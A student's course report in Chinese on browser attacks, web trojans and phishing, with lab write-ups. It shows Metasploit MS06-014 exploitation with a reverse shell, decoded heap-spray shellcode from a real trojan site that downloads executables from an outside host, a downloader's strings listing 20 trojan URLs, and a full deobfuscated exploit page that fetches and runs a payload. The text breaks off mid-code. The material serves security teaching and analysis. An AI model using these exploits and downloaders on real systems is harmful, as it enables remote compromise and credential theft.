20199304 2019-2020-2 《网络攻防实践》第12周作业

20199304 2019-2020-2 《网络攻防实践》第12周作业

问题 回答
这个作业属于那个课程 网络攻防实践
这个作业的要求在哪里 《网络攻防实践》第十二周作业
学习内容 第十二章 web浏览器安全攻防

1.实践内容

1.1Web浏览器的技术发展与安全威胁

  • 1.1.1 Web浏览器战争与技术发展

    • Web浏览器是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。
    • 浏览器战争
      • (1)第一次浏览器战争
        网景公司的Netscape和微软公司的IE浏览器的竞争
      • (2)第二次浏览器战争
        Mozilla开源基金会的Firefox浏览器与IE浏览器等之间的角逐
      • (3)国内浏览器的乱战
    • 现代Web浏览器的基本结构:需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户(图)
  • 1.1.2 Web浏览的安全问题与威胁

    • Web浏览器软件的安全困境三要素:
      • 复杂性:现代Web浏览器软件由于需要支持多类型的应用层协议浏览,符合一系列的页面标准规范,支持多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
      • 可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。
      • 连通性:浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
    • Web浏览安全威胁位置
      • 针对传输网络的网络安全协议安全威胁
      • 针对Web端系统平台的安全威胁
      • 针对Web浏览器软件及插件程序的渗透攻击威胁
      • 针对互联网用户的社会工程学攻击威胁
    • Web浏览环境及安全威胁的层次模型

1.2网页木马的机理分析

  • 1.2.1网页木马的定性特性
    网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。从根本上来说,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码。

  • 1.2.2对网页木马机理的全方位分析与理解
    与传统的服务器端渗透攻击可以主动的进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得远程客户端执行权限后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。黑客为了更为高效地实施网页木马这种复杂的攻击场景,建立了一套具有明确的社会职责分工的网页木马攻击技术流程:

    • (1)病毒编写者负责实现网页木马和传统的盗号木马
    • (2)网络骇客出卖网站访问者或攻陷不安全的网站
    • (3)“信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络
    • (4)受害者在访问挂马网站时,就会自动地链接网页木马并被其功绩,植入传统盗号木马,进而被盗取“信封”和虚拟资产
  • 1.2.3网页挂马机制

    • (1)为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上
    • (2)网页挂马四策略:
      • 内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中
      • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马
      • 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
      • ARP欺骗挂马:在以上三类网站挂马策略基础上,危害更高的策略
  • 1.2.4混淆机制

    • (1)提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁
    • (2)比较广泛使用的混淆方法:
      • 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
      • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
      • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
      • 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
      • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等
  • 1.2.5网页木马防范措施

    • 提升操作系统与浏览器软件的安全性,如第三方插件自动更新
    • 安装反病毒软件
    • 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站

1.3 揭开网络钓鱼的黑幕

  • 1.3.1技术内幕

    • 案例一:在攻陷的服务器上钓鱼。攻击者在互联网是扫描并攻陷存有安全漏洞的服务器,然后在上面实施网络钓鱼攻击。过程:1)攻击者扫描网段,寻找存有漏洞的服务器。2)服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具。3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行。4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件。5)网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

    • 案例二:部署重定向服务搭建钓鱼攻击网络。充分利用大量被攻陷的服务器资源,部署更加复杂、更具生存性的钓鱼攻击网络。

  • 1.3.2技术与策略:

    • 首先架设支撑钓鱼攻击的底层基础设施;
    • 欺骗大量互联网用户访问钓鱼网站;
在指向假冒网站的链接中使用IP地址代替域名;
注册发音相似或形似的DNS域名,并在上面架设假冒网站;
在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站网浏览器,大多数HTTP链接是指向真实的往目标网站,而仅有少数的关键链接指向假冒的网站;
对假冒网站的URL进行编码和混淆。很多用户不会注意到或者理解url链接被做过什么处理,并会假设它是良性的;
企图攻击用户网络浏览器存在的漏洞,使之隐藏消息内容的实质;
将假冒的钓鱼网站配制成记录用户提交的所有数据,并进行不可察觉的日志,然后将用户重定向到真实的网站;
假设一个假冒网站作为目标机构真实网站的代理,并偷摸的记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书,从而对SSL加密保护的口令信息进行记录;
通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后尤其将受害者定向到假冒的钓鱼网站;
使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件。
  • 1.3.3防范措施:
    • 国际反网络钓鱼工作(APWG)组在2003年成立。中国在2008年也成立了反钓鱼网站联盟。
    • 不轻易打开电子邮件中等即时通讯中的链接。
    • 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性。
    • 在线操作时重视访问网站的真实性。
    • 提升抵抗社会工程学攻击的能力

2.实践过程

2.1 Web浏览器渗透攻击实验

  • 任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

  • 所需环境:

    • 攻击机:BT4 Linux攻击机或Windows XP_Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件

    • 靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机

  • 实验步骤:

    • 选择使用Metasploit中的MS06-014渗透攻击模块

    • 选择PAYLOAD为任意远程Shell连接

    • 设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

    • 在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

    • 在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

  • 步骤

    • 攻击机kali IP:192.168.200.14

    • 靶机Win2kServer IP:192.168.200.124

    • 在kali中输入 msfconsole ,打开Metasploit;输入search MS06-014 ,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块;输入use exploit/windows/browser/ie_createobject,使用该模块进行攻击

    • 输入set LHOST 192.168.200.14设置攻击机地址;输入set payload windows/meterpreter/reverse_tcp设置载荷;输入exploit进行攻击

    • 攻击后得到有木马的网址为http://192.168.200.14:8080/M74rJM6QPa,在靶机中访问地址,回到攻击机中显示建立会话,攻击成功

    • 输入session -i 1选择会话1,返回meterpreter

    • 输入getuid查看权限为administrator,输入ifconfig查看靶机地址为192.168.200.124

  • 2.2 网站挂马分析实践

    • 任务:根据给出的说明逐步分析,得到最终的木马文件的内容。

    • 说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式———— http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。

      • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
      • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
      • 从解密后的结果来看,攻击者利用了那些系统漏洞?
      • 解密后发现了多少个可执行文件?其作用是什么?
      • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
  • 步骤:
    由于网站无法访问,根据资料,应该先访问start.html,在引用 new09.htm 没有写绝对路径,所以 new09.htm 文件与 start.html 文件在同一目录下。 new09.htm中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe> 
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script> 

分别求这两个的MD5散列值:
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3

从老师所给资料中的hashed文件夹中找到这两个文件

在第一个文件中,由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));我们知道这个文件使用了一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可。当然这个xxtea_decrypt函数的第二个参数就是密钥,不过也是被加密过的,但是仅仅是一种16进制加密。转换一下即可得到密钥

可以看到密钥为script,指导书中所给的 xxtea 在线解密网站已经不能用了,这里可以用xxtea在线解密网站来解密,输入密文和密钥,点击解密,即可得到结果


分析解密结果,怀疑需要用16进制解密


分析这段代码,可以看到它利用了应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是bd.exe),根据分析结果,对http://aa.18dd.net/aa/1.js、http://aa.18dd.net/aa/b.js、http://aa.18dd.net/aa/pps.js和http://down.18dd.net/bb/bd.cab作处理
同样计算md5的值,过程同上,可以分别得到它们的MD5值

链接 MD5值
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2
首先来看1.js也就是 5d7e9058a857aa2abee820d5473c5fa4
还是一个十六进制加密,解开可得
这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe的可执行文件,后面部分则是对ADODB漏洞的继续利用。
先将这个exe文件放到一边,我们先来看b.js,也就是3870c28cc279d457746b3796a262f166文件
还原后的代码如下所示
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

看到了shellcode,shellcode一般都不长,而它要实现很多破坏,不可能“事必亲躬”。因此 shellcode 很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,URL中必然出现的斜线“/”吧,“/”的十六进制 ASCII 码是2f.

找2f比较密集的地方,从第三个2f开始到末尾的内容,补充解密结果是: http://down.18dd.net/bb/bf.exe。又是一个可执行文件。
再看pps.js即5f0b8bf0385314dbe0e5ec95e6abedc2使用八进制加密:

这次变成了八进制转换,解密,结果如下

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

同样有shellcode,相同的方法得到http://down.18dd.net/bb/pps.exe.
对前面出现的exe文件进行MD5散列

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979 
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e 
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4 

这四个文件在资源管理器中大小相同且文件内容完全相同。

使用PEiD查看可执行文件的加壳情况,发现用 Delphi 写的

接下来使用反汇编工具 W32DAsm 反汇编这个程序,首先来看一下字符串

" goto try"
"#32770"
"(T@"
",T@"
".1"
":\AutoRun.inf"
":try"
"[AutoRun]
open="
"\program files\internet explorer\IEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shell\Auto\command="
"shellexecute="
"SOFTWARE\Borland\Delphi\RTL"
"Software\Microsoft\Windows\CurrentVersion\Poli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳SVW?"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"

分析这些字符串:

  • 由字符串" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist ",猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件

  • 由":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=",猜测这个程序可能在磁盘根目录下生成自动运行的文件,以使得用户在不小心时启动程序

  • 由"advapi32.dll","drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli","Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A","ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W"等可以猜测程序可能会修改IE、注册表、服务和系统文件

  • 由"瑞星卡卡上网安全助手 - IE防漏墙","允许","允许执行",可知这个程序有一定的防系统保护软件的能力,

  • 由20个可执行文件的 URL 猜测程序要下载一大堆木马

  • 由“为即插即用设备提供支持”可知要建立服务

  • 总结

    • 从挂马网站222.29.87.30/scom的Start.html中发现其与new09.htm在同一个文件夹下,进而发现aa/1.js,aa/b.js,aa/pps.js等文件,通过解密发现其中的shellcode等。

    • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
      使用了8进制,16进制,js 混淆,xxtea + base64加密,二进制机器码加密等。解密过程见上述分析过程

    • 从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?

      • MS06-014网马
        • 攻击MS06-014安全漏洞
        • MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞
      • 暴风影音网马
        • 攻击CVE-2007-4816安全漏洞
        • 暴风影音2 mps.dll组件多个缓冲区溢出漏洞
      • PPStream网马
        • 攻击CVE-2007-4748安全漏洞
        • PPStream 堆栈溢出
      • 百度搜霸网马
        • 攻击CVE-2007-4105安全漏洞
        • 百度搜霸ActiveX控件远程代码执行漏洞
    • 解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?(请举例分析)
      解密后发现了4个可执行文件,这四个可执行文件内容相同,都是下载器,下载了20个程序。这些程序的作用是盗取用户的账号。

2.3 攻防对抗实践——web浏览器渗透攻击攻防对抗

  • 题目
    攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
    防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
  • 步骤
    说明:题目中要求至少构造两个漏洞的渗透攻击代码,由于不会混淆,所以下面的实践仅分析实践2.1中利用MS06-014漏洞进行分析的渗透代码。

在实践2.1中我们已经得到了恶意url,在浏览器中打开并查看源码。

发现该网页为了防止被杀毒软件发现,对关键指令做了字符串拼接处理,还使用了大量的空白和间隔。将无效的空格符及回车符进行处理后,可以得到完整代码如下:

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=GB2312">	  
<title></title>
<script language="javascript">	 
function
bDtWtmhwERC(o ,	n) 
{
	var r =null;  	
	try
	{
		eval("r=o"+".C"+"re"+"ate"+"Ob" +"je"+"ct(n)"
		)
	}catch(e){}
	if(!r)
	{	
		try	
		{ eval("r=o"+".Cr"+"ea" +"teO"+"bj"+"ect(n,'')")	  
		}catch(e){} 		 
	}
	if(!r)
	{
		try{
		eval("r=o" +".Cr"+"ea"+ "teO"+"bj"+"ect(n,'','')"	)		
		}
		catch(e){}
	} 
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)") 
		}catch(e){}
	}
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)") 
		}catch(e){}
	}
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"ject(n)"    )
		}catch(e){}
	}
	return(r);			
} 		
function
CkziPkDEVvzcUK(a)
{ 
	var s=bDtWtmhwERC(a,"W" +"Sc"+"ri" +"pt"+".S"+"he"+"ll");	 
	var o=bDtWtmhwERC(a,"A" +"DO"+"D"+"B.S"+"tr"+"eam");  	
	var e=s.Environment("P"+"ro"+"ce" +"ss"	);
	var url	=document.location +'/p'+'ay'+'lo'+'ad'; 
	var	xml = null;   
	var	bin	=e.Item("T" + "E"+"M" +	"P")+"\\iFFxfTopQcRUZWySzCFlBMl"+ ".e"+"xe";	  
	var dat;  	 
	try
	{	
	xml=new XMLHttpRequest();	 		
	}
	catch(e)	 
	{
		try
		{
		xml=new ActiveXObject("Microsoft.XMLHTTP");
		} 
		catch(e)	
		{
		xml	= new ActiveXObject("MSXML2.ServerXMLHTTP");
		}
	}
	if(!xml)	  
	{
	return(0);
	} 
	xml.open("GET", url,false);  	
	xml.send(null); 
	dat =xml.responseBody;
	o.Type= 1 ;
	o.Mode= 3 ;
	o.Open();	   	
	o.Write(dat);
	o.SaveToFile(bin,2);
	s.Run(bin,0);
}			
function 
ZiAzBuyHnOWmTjzuIHnJRBPjub() 
{
var i=0;
var t=new Array( '{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}','{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'<h+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'